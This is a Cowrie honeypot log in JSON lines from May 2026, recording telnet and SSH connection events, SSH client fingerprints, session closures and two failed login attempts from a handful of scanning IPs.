{"eventid":"cowrie.session.closed","duration":5.455764532089233,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:44.194920Z","src_ip":"188.208.141.113","session":"7ea3ce5c7db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.442412614822388,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:44.388624Z","src_ip":"188.208.141.113","session":"d5e3c46e6f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.286774158477783,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:45.776335Z","src_ip":"188.208.141.113","session":"43d3db7f52b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44826,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d1e0ed7de8","protocol":"telnet","message":"New connection: 64.227.9.242:44826 (159.203.135.109:23) [session: d7d1e0ed7de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:46.021106Z"}
{"eventid":"cowrie.session.closed","duration":36.82119154930115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:46.672749Z","src_ip":"64.227.9.242","session":"c99648bc4ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b821d436932e","protocol":"telnet","message":"New connection: 188.208.141.113:36556 (10.17.0.5:23) [session: b821d436932e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:51.033436Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7299f6af078f","protocol":"telnet","message":"New connection: 188.208.141.113:36560 (10.17.0.5:23) [session: 7299f6af078f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:52.020651Z"}
{"eventid":"cowrie.session.closed","duration":41.36523103713989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:52.587056Z","src_ip":"188.208.141.113","session":"e45a539fba49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8253448009491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:52.654247Z","src_ip":"64.227.9.242","session":"047abbbcc1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2170474529266357,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:53.250378Z","src_ip":"188.208.141.113","session":"b821d436932e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36572,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba810961a63","protocol":"telnet","message":"New connection: 188.208.141.113:36572 (10.17.0.5:23) [session: aba810961a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:53.680677Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":36624,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb9c673d2a8","protocol":"ssh","message":"New connection: 112.217.199.222:36624 (10.17.0.5:22) [session: efb9c673d2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:53.725697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:53.730324Z","src_ip":"112.217.199.222","session":"efb9c673d2a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:53.938060Z","src_ip":"112.217.199.222","session":"efb9c673d2a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ad43838c22","protocol":"telnet","message":"New connection: 64.227.9.242:55382 (159.203.135.109:23) [session: 77ad43838c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:54.624862Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"asdfgh","message":"login attempt [administrator/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:54.800602Z","src_ip":"112.217.199.222","session":"efb9c673d2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:56.010644Z","src_ip":"112.217.199.222","session":"efb9c673d2a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b83cd7d1ae2f","protocol":"telnet","message":"New connection: 188.208.141.113:36578 (10.17.0.5:23) [session: b83cd7d1ae2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:58.300533Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"24268556f843","protocol":"telnet","message":"New connection: 188.208.141.113:36586 (10.17.0.5:23) [session: 24268556f843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:58.305074Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d60c41e675d0","protocol":"telnet","message":"New connection: 64.227.9.242:56554 (159.203.135.109:23) [session: d60c41e675d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:58.748425Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60132,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d67323254b4","protocol":"telnet","message":"New connection: 64.227.9.242:60132 (159.203.135.109:23) [session: 2d67323254b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:25:59.132401Z"}
{"eventid":"cowrie.session.closed","duration":34.529643535614014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:01.428212Z","src_ip":"64.227.9.242","session":"6e10e8f3a25d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34706,"dst_ip":"159.203.135.109","dst_port":23,"session":"6123bd524a72","protocol":"telnet","message":"New connection: 64.227.9.242:34706 (159.203.135.109:23) [session: 6123bd524a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:02.133174Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34962,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4c611a8c00","protocol":"telnet","message":"New connection: 64.227.9.242:34962 (159.203.135.109:23) [session: ec4c611a8c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:02.413751Z"}
{"eventid":"cowrie.session.closed","duration":35.01229500770569,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:02.648931Z","src_ip":"64.227.9.242","session":"53386bc48a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10904860496521,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:04.716123Z","src_ip":"64.227.9.242","session":"cf2612f3ddef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.006943225860596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:06.899508Z","src_ip":"188.208.141.113","session":"b24ee8afd7d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.79102373123169,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:08.137543Z","src_ip":"188.208.141.113","session":"9a89c6deda7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.850553035736084,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:08.513813Z","src_ip":"188.208.141.113","session":"009b4f36cf36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09646725654602,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:09.716493Z","src_ip":"188.208.141.113","session":"c79ec7763afc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.840720653533936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:10.896473Z","src_ip":"188.208.141.113","session":"da3cf4c3f144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40140,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6b74785683","protocol":"telnet","message":"New connection: 188.208.141.113:40140 (10.17.0.5:23) [session: af6b74785683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:11.121856Z"}
{"eventid":"cowrie.session.closed","duration":45.762336015701294,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:12.697831Z","src_ip":"188.208.141.113","session":"33f4e9a64a2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42562,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9eeedaf157","protocol":"telnet","message":"New connection: 64.227.9.242:42562 (159.203.135.109:23) [session: 5c9eeedaf157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:13.112920Z"}
{"eventid":"cowrie.session.closed","duration":2.682237386703491,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:13.803971Z","src_ip":"188.208.141.113","session":"af6b74785683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48dd00a22c8","protocol":"telnet","message":"New connection: 64.227.9.242:46598 (159.203.135.109:23) [session: b48dd00a22c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:14.181179Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40148,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eda398fa9b7","protocol":"telnet","message":"New connection: 188.208.141.113:40148 (10.17.0.5:23) [session: 9eda398fa9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:14.801954Z"}
{"eventid":"cowrie.session.closed","duration":35.032403230667114,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:15.102753Z","src_ip":"64.227.9.242","session":"c85526e6445a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.05441331863403,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:16.362517Z","src_ip":"188.208.141.113","session":"3001969ba074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40162,"dst_ip":"10.17.0.5","dst_port":23,"session":"1415782bff37","protocol":"telnet","message":"New connection: 188.208.141.113:40162 (10.17.0.5:23) [session: 1415782bff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:18.919174Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3cfbed5893b","protocol":"telnet","message":"New connection: 188.208.141.113:40178 (10.17.0.5:23) [session: b3cfbed5893b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:19.177726Z"}
{"eventid":"cowrie.session.closed","duration":33.62660264968872,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:19.647601Z","src_ip":"64.227.9.242","session":"d7d1e0ed7de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40186,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d96b720f18e","protocol":"telnet","message":"New connection: 188.208.141.113:40186 (10.17.0.5:23) [session: 6d96b720f18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:20.352441Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40188,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2dad1b6a14","protocol":"telnet","message":"New connection: 188.208.141.113:40188 (10.17.0.5:23) [session: db2dad1b6a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:20.357805Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15e52a261fe","protocol":"telnet","message":"New connection: 188.208.141.113:45862 (10.17.0.5:23) [session: d15e52a261fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:21.182397Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45864,"dst_ip":"10.17.0.5","dst_port":23,"session":"019b584aa61f","protocol":"telnet","message":"New connection: 188.208.141.113:45864 (10.17.0.5:23) [session: 019b584aa61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:23.929033Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58272,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c14afcd9171","protocol":"telnet","message":"New connection: 64.227.9.242:58272 (159.203.135.109:23) [session: 2c14afcd9171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:27.160921Z"}
{"eventid":"cowrie.session.closed","duration":33.638829946517944,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:28.263558Z","src_ip":"64.227.9.242","session":"77ad43838c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.058897733688354,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:30.865606Z","src_ip":"188.208.141.113","session":"1d1e20e2c344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58682,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e62a63d6b1e","protocol":"telnet","message":"New connection: 188.208.141.113:58682 (10.17.0.5:23) [session: 1e62a63d6b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:31.151626Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cba2a693672","protocol":"telnet","message":"New connection: 188.208.141.113:58684 (10.17.0.5:23) [session: 4cba2a693672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:32.895726Z"}
{"eventid":"cowrie.session.closed","duration":34.375728130340576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:33.508017Z","src_ip":"64.227.9.242","session":"2d67323254b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.522125482559204,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:34.270381Z","src_ip":"64.227.9.242","session":"d60c41e675d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":51668,"dst_ip":"10.17.0.5","dst_port":22,"session":"525604c0becd","protocol":"ssh","message":"New connection: 1.235.192.214:51668 (10.17.0.5:22) [session: 525604c0becd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:34.528442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:34.533700Z","src_ip":"1.235.192.214","session":"525604c0becd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:34.723296Z","src_ip":"1.235.192.214","session":"525604c0becd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58686,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1acd3a05f6","protocol":"telnet","message":"New connection: 188.208.141.113:58686 (10.17.0.5:23) [session: 7b1acd3a05f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:35.025550Z"}
{"eventid":"cowrie.session.closed","duration":3.982130765914917,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:35.133648Z","src_ip":"188.208.141.113","session":"1e62a63d6b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.453157901763916,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:35.473662Z","src_ip":"188.208.141.113","session":"7299f6af078f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwaszx","message":"login attempt [ubuntu/qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:35.514844Z","src_ip":"1.235.192.214","session":"525604c0becd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.38456177711487,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:35.798178Z","src_ip":"64.227.9.242","session":"ec4c611a8c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58702,"dst_ip":"10.17.0.5","dst_port":23,"session":"b55359a963ce","protocol":"telnet","message":"New connection: 188.208.141.113:58702 (10.17.0.5:23) [session: b55359a963ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:36.109496Z"}
{"eventid":"cowrie.session.closed","duration":33.99504375457764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:36.128071Z","src_ip":"64.227.9.242","session":"6123bd524a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:36.706836Z","src_ip":"1.235.192.214","session":"525604c0becd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.64555883407593,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:38.326148Z","src_ip":"188.208.141.113","session":"aba810961a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58716,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7ca98b0b2c","protocol":"telnet","message":"New connection: 188.208.141.113:58716 (10.17.0.5:23) [session: fb7ca98b0b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:39.481892Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58728,"dst_ip":"10.17.0.5","dst_port":23,"session":"351cfd6992b9","protocol":"telnet","message":"New connection: 188.208.141.113:58728 (10.17.0.5:23) [session: 351cfd6992b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:40.212317Z"}
{"eventid":"cowrie.session.closed","duration":43.77314782142639,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:42.078177Z","src_ip":"188.208.141.113","session":"24268556f843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43878,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5f43a118ab","protocol":"telnet","message":"New connection: 64.227.9.242:43878 (159.203.135.109:23) [session: 7f5f43a118ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:42.488310Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47870,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f9b606a5a3","protocol":"telnet","message":"New connection: 64.227.9.242:47870 (159.203.135.109:23) [session: 67f9b606a5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:43.021683Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d146038ab988","protocol":"telnet","message":"New connection: 188.208.141.113:34804 (10.17.0.5:23) [session: d146038ab988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:43.596903Z"}
{"eventid":"cowrie.session.closed","duration":5.703724384307861,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:26:45.185479Z","src_ip":"188.208.141.113","session":"fb7ca98b0b2c","protocol":"telnet"}
